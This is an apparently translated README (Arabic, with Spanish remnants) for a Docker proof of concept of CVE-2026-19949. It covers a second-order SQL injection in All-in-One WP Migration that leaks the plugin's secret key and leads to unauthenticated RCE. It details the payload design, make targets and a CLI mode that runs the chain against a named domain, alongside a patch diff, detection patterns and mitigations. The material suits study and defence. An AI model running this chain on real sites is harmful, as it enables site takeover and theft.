
إثبات مفهوم قابل للتكرار قائم على Docker لثغرة CVE-2026-19949، وهي حقن SQL من الدرجة الثانية في All-in-One WP Migration <= 7.109 والتي تسرّب ai1wm_secret_key عبر REST مجهول وتتصاعد إلى تنفيذ تعليمات برمجية عن بُعد.
حقن SQL من الدرجة الثانية بدون مصادقة في All-in-One WP Migration and Backup (ووردبريس)
والذي يتصاعد إلى تسريب ai1wm_secret_key، ومن خلاله إلى تنفيذ أكواد عن بُعد (RCE).
اقرأ هذا بـ: English · Español
| CVE | CVE-2026-19949 |
| الملحق | All-in-One WP Migration and Backup (ServMask)، ≤ 7.109 |
| التصحيح | 7.110 (20 أغسطس 2026) |
| CVSS | 8.8 (عالية) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| المتطلب | أن يقوم مسؤول بتصدير واستعادة الموقع (إجراء روتيني مع هذا الملحق) |
| الباحث | Jack Taylor (برنامج مكافآت Wordfence) |
⚠️ للاستخدام التعليمي والدفاعي حصريًا. هذا المختبر يهاجم موقع ووردبريس يعمل على جهازك الخاص، داخل حاويات Docker. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لها.
يقوم تدفق التصدير/الاستيراد في الملحق بتفريغ قاعدة البيانات إلى SQL
(database.sql داخل .wpress) وعند الاستيراد، يعيد كتابة كل عبارة
باستخدام Ai1wm_Database::replace_table_values() لاستبدال عناوين URL وبادئات
الجداول. ولتحديد مواقع السلاسل النصية يستخدم التعبير النمطي:```php
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
المشكلة تكمن في *negative lookbehind* `(?<!\\)`: **يفحص بايتًا واحدًا فقط**
قبل كل علامة اقتباس مرشحة للإغلاق، بدلاً من عدّ *run* الكامل من
الشرطات المائلة العكسية (backslashes). في تفريغ MySQL، تُكتب البيانات التي تنتهي بـ `\` على النحو
`...\\'` — علامة اقتباس إغلاق مسبوقة بعدد **زوجي** من الشرطات المائلة العكسية
(سلسلة حقيقية تنتهي بشرطة مائلة عكسية) — لكن regex يعتبرها مُهرَّبة و
**يُفرط في التقاط النص الحرفي التالي**. ينفّذ callback بعد ذلك
`unescape_mysql → replace_serialized_values → escape_mysql` على القيمة
المُلتقطة بشكل مفرط، وتُعيد تلك الدورة إصدار تسلسل غير متوازن من علامات الاقتباس/الشرطات المائلة العكسية
الذي **يقلب حد سلسلة MySQL** في العبارة
الناتجة، مما يرفع بيانات المهاجم إلى SQL قابل للتنفيذ.
## 2. السبب الجذري: regex الذي يقلب السلسلة
مع زرع trackback (انظر §4)، يكون الصف في `database.sql` هو:```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
المؤلف ينتهي بـ \ على مستوى البيانات ← التفريغ يكتبه كـ \\ ←
علامة الاقتباس الختامية تسبقها شرطة مائلة مزدوجة. التعبير النمطي يلتقط بشكل زائد
حتى علامة الاقتباس الافتتاحية للحقل التالي ويقوم الاستدعاء بإعادة ترميز
المجموعة:```
'Jack Blogs\\',' ← contenido sobre-capturado
unescape → 'Jack Blogs\',' ← strtr colapsa los pares
escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido
salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena
من هناك، كل ما يلي في الجملة يُعاد ترميزه مع تغيير التكافؤ (البيانات التي كانت سلاسل تصبح كودًا والعكس صحيح). يعالج regex المُصحح في 7.110 نفس السطر ويعيده **مطابقًا تمامًا**.
يمكنك رؤيته بايتًا بايت، دون استغلال أي شيء، باستخدام `make demo-flip`
(`exploit/04_demo_flip.php`)، الذي ينفذ الكود الحقيقي للإضافة 7.109 و
7.110 على نفس سطر التفريغ.
## 3. التصحيح (7.109 ← 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
النمط الجديد يرمّز حروف MySQL بشكل صحيح: إما حرف ليس علامة اقتباس/شرطة مائلة، أو زوج هروب \x، مع مُكمّمات حصرية. زوج من الشرط المائلة المتتالية لم يعد يربك إغلاق الحرف.
السلسلة التي نشرتها Wordfence (سبتمبر 2026) تتكون من أربع خطوات:
wp-trackback.php?p=<id>). ينتهي اسم المدونة (→ comment_author) بـ \ وتحمل URL (→ comment_author_url) الحمولة. يخزنها WordPress دون لمس الشرطة المائلة. في النسخة المنشورة، يعمل أول trackback كـقنبلة موقوتة: يجبر قطع مرور الاستيراد (حد 10 ثوانٍ) بحيث تُنفَّذ الحمولة في مرور لاحق، عندما يكون المستورد قد استعاد بالفعل ai1wm_secret_key للموقع في wp_options (يستثنيها المُصدِّر من التفريغ؛ يعيد المستورد كتابتها بين المرورات).ai1wm_secret_key إلى تعليق معتمد من نوع comment، مرئي في REST API للتعليقات دون مصادقة.admin-ajax.php?action=ai1wm_import مسجل أيضًا للمستخدمين المجهولين (wp_ajax_nopriv_ai1wm_import) وحاجزه الوحيد هو ai1wm_verify_secret_key(). مع المفتاح المسرَّب، يقود المهاجم سلسلة الاستيراد مع ملف .wpress خاص به يتضمن mu-plugin؛ خطوة Ai1wm_Import_Mu_Plugins (أولوية 270 في السلسلة) تستخرجه إلى wp-content/mu-plugins/ → تنفيذ كود عند التحميل التالي.يتحقق هذا المستودع من السلسلة من البداية إلى النهاية مع trackback واحد مزروع (القنبلة الموقوتة غير ضرورية في المختبر: يُنفَّذ الصف في مرور لاحق بعد إعادة تعيين المفتاح).
الاستغلال الدقيق للباحث ليس عامًا (بحث شامل في 2026-09-07: GitHub — المستودعان الموجودان هما قالب فارغ وأداة ضخمة بنقاط نهاية غير موجودة —، Exploit-DB/PacketStorm 0، Sploitus يفهرس فقط تلك المستودعات المزيفة، WPScan بدون PoC، المنتديات أخبار فقط؛ تفاصيل جنائية في research/poc-publica/ANALISIS.md).
نشتقها نحن من تحليل الآلية (exploit/investigacion/). التصميم:
\ → النظرة الخلفية ذات البايت الواحد في التعبير النمطي الضعيف تلتقط الحرف التالي بشكل زائد وتقلب دورة unescape→escape حد السلسلة.comment_author المدمج وسلسلة , الإزاحة؛ فاصلة أولية في URL تستعيد الفاصل الهيكلي المبتلع)./**/ كفواصل:
\' وفي منطقة الكود ستترك شرطة مائلة يتيمة (خطأ 1064) → ومن هنا السداسي (0x616931776d… = "ai1wm_secret_key");sanitize_url المسافات (ويضيف http:// أمام كل ما لا يبدأ بـ /) → ومن هنا البداية /*pwn*/ و/**/;comment_author_url) = الاستعلام الفرعي الذي يقرأ المفتاح → ينتهي المفتاح في حقل عام؛ العمود 11 = 0x31 ('1'، تعليق معتمد)؛ العمود 13 = 0x636f6d6d656e74 ('comment'، مرئي في REST المجهول);) يغلق الصف بـ15 قيمة بالضبط و# (تعليق MySQL بدون مسافة، يحترمه sanitize_url) يحيد بقية العبارة الأصلية.SERVMASK_PREFIX_options: يعيد المستورد كتابة البادئات SERVMASK→الحقيقية قبل مرور التعبير النمطي، لذا تعمل الحمولة على مواقع بأي بادئة جدول (تم التحقق). البيانات الوحيدة الخاصة بالهدف هي URL الخاصة به، المحمولة في المقتطف لإطلاق فلتر strpos للمستورد (يعيد كتابة الأسطر التي تحتويها فقط).العبارة الناتجة (التي ينفذها MySQL أثناء الاستعادة):
comment_author_url = (SELECT option_value FROM <بادئة>_options WHERE option_name='ai1wm_secret_key') — يبقى المفتاح الحقيقي في حقل تنشره REST API دون مصادقة.
| خطوة السلسلة | الحالة | المكان |
|---|---|---|
| تثبيت ضعيف قابل لإعادة الإنتاج (WP 7.1 + إضافة 7.109) | ✅ | make lab |
| زرع بدون مصادقة عبر trackback (مطابق للبايت، معتمد تلقائيًا) | ✅ | make plant |
| تصدير المدير؛ يحتوي التفريغ على الصف المزروع | ✅ | make export |
| السبب الجذري: التعبير النمطي 7.109 يقلب حد السلسلة (مقابل 7.110 سليم) | ✅ | make demo-flip |
| استعادة المدير: الانقلاب يعيد كتابة SQL ويفسد/يفقد الصف في 7.109 | ✅ | make restore |
| تسريب المفتاح (حمولة مشتقة خاصة) → تسريب حقيقي عبر REST بدون مصادقة | ✅ | make leak |
| RCE: استيراد بدون مصادقة مع المفتاح → تنفيذ mu-plugin | ✅ | make rce-auto |
| تحكم سلبي: في 7.110 يبقى الصف سليمًا، بدون تسريب | ✅ | make control-7110 |
| مصفوفة WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3: سلسلة كاملة ✓ في الكل | ✅ | research/test-wp-versions.sh |
| سلسلة كاملة عن بُعد (HTTP فقط، صالحة لنطاق حقيقي) | ✅ | python3 cli/poc.py explotar … |
النتيجة المتحقق منها من النهاية إلى النهاية: بعد تصدير+استعادة المدير، يظهر ai1wm_secret_key الحقيقي كـauthor_url لتعليق معتمد في GET /wp-json/wp/v2/comments — دون أي مصادقة — ومعه تُنفَّذ مرحلة RCE (mu-plugin مستخرج ومنفذ، علامات دليل في wp-content/). في 7.110 يبقى الصف سليمًا (تبقى الحمولة كبيانات خاملة) ولا يوجد تسريب.
تُثبت مرحلة RCE أيضًا بشكل مستقل: مدخلها الوحيد هو المفتاح، الذي يمكن تمريره يدويًا (make rce KEY=…) — الحالة الدقيقة للمهاجم بعد التسريب.
مصفوفة منفذة مع bash research/test-wp-versions.sh 7.0 6.9 6.8
(مختبر مُعاد بناؤه لكل إصدار، إضافة 7.109، حمولة متطابقة):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
الآلية مستقرة في الكل: يحترم sanitize_url الحمولة، يحافظ wp_comments على الأعمدة الـ15 ويبقى wp-trackback.php عاملًا. الحمولة مستقلة عن بادئة الجدول (انظر §5).
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas
القطع الأثرية التي يتم توليدها عند التنفيذ **ولا تتم مشاركتها** (انظر `.gitignore`):
`informes/` (تحتوي على مفاتيح تمت تصفيتها)، `exploit/malicious.wpress`،
`plugin-src/` (المصادر 7.109/7.110 المستخرجة للمقارنة)، `research/*.zip`
(ملفات zip الأصلية من WordPress.org)، `research/database.sql`،
`research/backup-legit.wpress` وملفات الـ PoC المزيفة التي تم تحليلها.
## 9. المتطلبات والإقلاع السريع
المتطلبات: Docker (مع إضافة compose)، make، python3 مع `requests`، curl.```bash
make full-demo # laboratorio completo de cero: lab → plant → export →
# restore → flip → leak → rce (todo lo anterior de una vez)
المخرجات المتوقعة (ملخصة):``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
الوصول إلى موقع الضحية: <http://localhost:8080> — admin / `admin-password-123`
(إدخال عام بالمعرف 4 مع pings وتعليقات مفتوحة).
## 10. المراحل خطوة بخطوة (أهداف make)```bash
make lab # levantar/inicializar el laboratorio (plugin 7.109)
make plant # Fase 1 — plantar el trackback (anónimo)
make export # Fase 2a — exportar como admin
make restore # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX # Fase 3 — RCE pasando la clave a mano
make rce-auto # Fase 3 — RCE encadenado con la clave filtrada
make control-7110 # control negativo con el plugin parcheado
make lab-7109 # volver al laboratorio vulnerable tras el control
make demo-cli # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com # detección no invasiva
make landing # servir la landing del CVE en http://localhost:8090
make status | logs # estado de contenedores / log de WordPress
make down | clean # parar / parar y borrar volúmenes y artefactos
أمر واحد بجميع الأوضاع؛ يُنشئ تقارير في informes/
(نص + JSON؛ المجلد خارج المستودع لأنه يحتوي على مفاتيح):```bash
python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio
- `lab` يرفع المختبر، وينفّذ السلسلة الكاملة والتحكم السلبي مع 7.110، ويكتب التقرير (`--sin-control` لتخطيه).
- `scan` سلبي 100%: يقرأ `readme.txt` العام للمكوّن الإضافي، ويتحقق من `wp-trackback.php` و REST التعليقات. يُرجع الحكم.
- `verificar` يعيد التحقق مما إذا كان المفتاح قد ظهر بالفعل في REST المجهول (مثلًا بعد ساعات من الزرع، عندما يقوم المسؤول بعملية النسخ الاحتياطي والاستعادة).
- `explotar` اجتياحي ويتطلب `--acepto-responsabilidad` + تأكيدًا تفاعليًا للنطاق: يزرع الـ trackback، ويحاكي المسؤول (تصدير ← تنزيل النسخة الاحتياطية ← إعادة الرفع والاستعادة؛ **HTTP فقط**، مع بيانات الاعتماد التي تقدمها أنت من موقعك)، ويقرأ المفتاح المسرّب، ومع `--rce`، يترك علامة حميدة عبر الاستيراد المجهول. بدون بيانات اعتماد المسؤول: يزرع ويبقى في الانتظار (`--esperar` لتحمّل التسريب؛ `--post-id` لاختيار الإدخال؛ `--no-interactivo` للنصوص البرمجية).
## 12. هبوط CVE
صفحة ثابتة ثنائية اللغة (ES/EN، مع مبدّل في الترويسة، وتفضيل محفوظ) تشرح CVE والحمولة بأسلوب قاعدة بيانات الثغرات: ملخص، سلسلة، **تفكيك تفاعلي للحمولة مقطعًا بمقطع**، ومصفوفات التحقق والتخفيف.```bash
make landing # sirve http://localhost:8090
بدون تبعيات خارجية (لا CDN ولا JavaScript من طرف ثالث): يعمل بفتح
web/index.html مباشرة أو مع أي خادم ثابت.
wp-trackback.php وpingbacks
(خيارات للنقاش / WAF)، وتقييد admin-ajax.php للمجهولين عندما
يكون ذلك ممكنًا، ومراقبة ظهور الملفات في
wp-content/mu-plugins/ وخيار ai1wm_secret_key في سياقات
غير طبيعية (مثل التعليقات).comment_author بـ \ أو التي يحتوي فيها comment_author_url على
SELECT/**/ أو CONCAT( أو قيم 0x… طويلة أو /*…*/؛ تعليقات
معتمدة يكون فيها author_url سلسلة أبجدية رقمية من 12 حرفًا بدون
مخطط.exploit/investigacion/): بدأنا من حزام اختبار
(harness.php) يقوم بتحميل الفئات الحقيقية للإضافة 7.109 وينفذ
خط الأنابيب ضد MySQL تجريبي بمفتاح وهمي. استكشفت أدوات الفازينغ
(search_payload.php, fuzz_rows.php, fuzz4.php,
bruteforce_author.php) الحروف الحرجة عبر الحقول الأربعة
القابلة للتحكم في الـtrackback؛ وضبط afinar_payload.php عدد
التعبيرات (N=12) وtest_payload_final.php تحقق من التصميم الكامل.
يوثق NOTAS.md التحليل، بما في ذلك الحواجز الهيكلية (الحقول
الثابتة في INSERT الخاص بـ wp_comments، وsql_mode المفروض من قبل
المستورد، ومرشح strpos لعنوان URL للموقع).research/poc-publica/ANALISIS.md):
مستودعا GitHub اللذان يدعيان احتوائه عليه يستخدمان نقاط نهاية غير موجودة
(aio-migration/v1 مع permission_callback مقابل ai1wm/v1 الحقيقي)،
وحقل رفع خاطئ (file مقابل upload_file)، وتنسيق ZIP بدلاً من
.wpress، وفرضية دائرية. لا يمتلك أي مصدر طرف ثالث PoC
خاصًا به.lib/vendor/servmask/database/ class-ai1wm-database.php:1637؛ المصادر المستخرجة موجودة في plugin-src/،
غير مشاركة)تُنشر هذه المادة لأغراض تعليمية ودفاعية: فهم
الثغرة، والتحقق من التصحيح، وبناء أدوات اكتشاف. تم تنفيذ السلسلة فقط
ضد مختبرات Docker خاصة بنا. مهاجمة أنظمة أطراف ثالثة
بدون إذن كتابي غير قانونية في معظم الولايات القضائية. إذا
كنت تدير مواقع متأثرة: حدّث إلى ≥ 7.110، وقم بتدوير
ai1wm_secret_key (عطّل/أعد تفعيل الإضافة أو احذف الخيار حتى
يُعاد توليده) ودقق في wp-content/mu-plugins/ والتعليقات الأخيرة.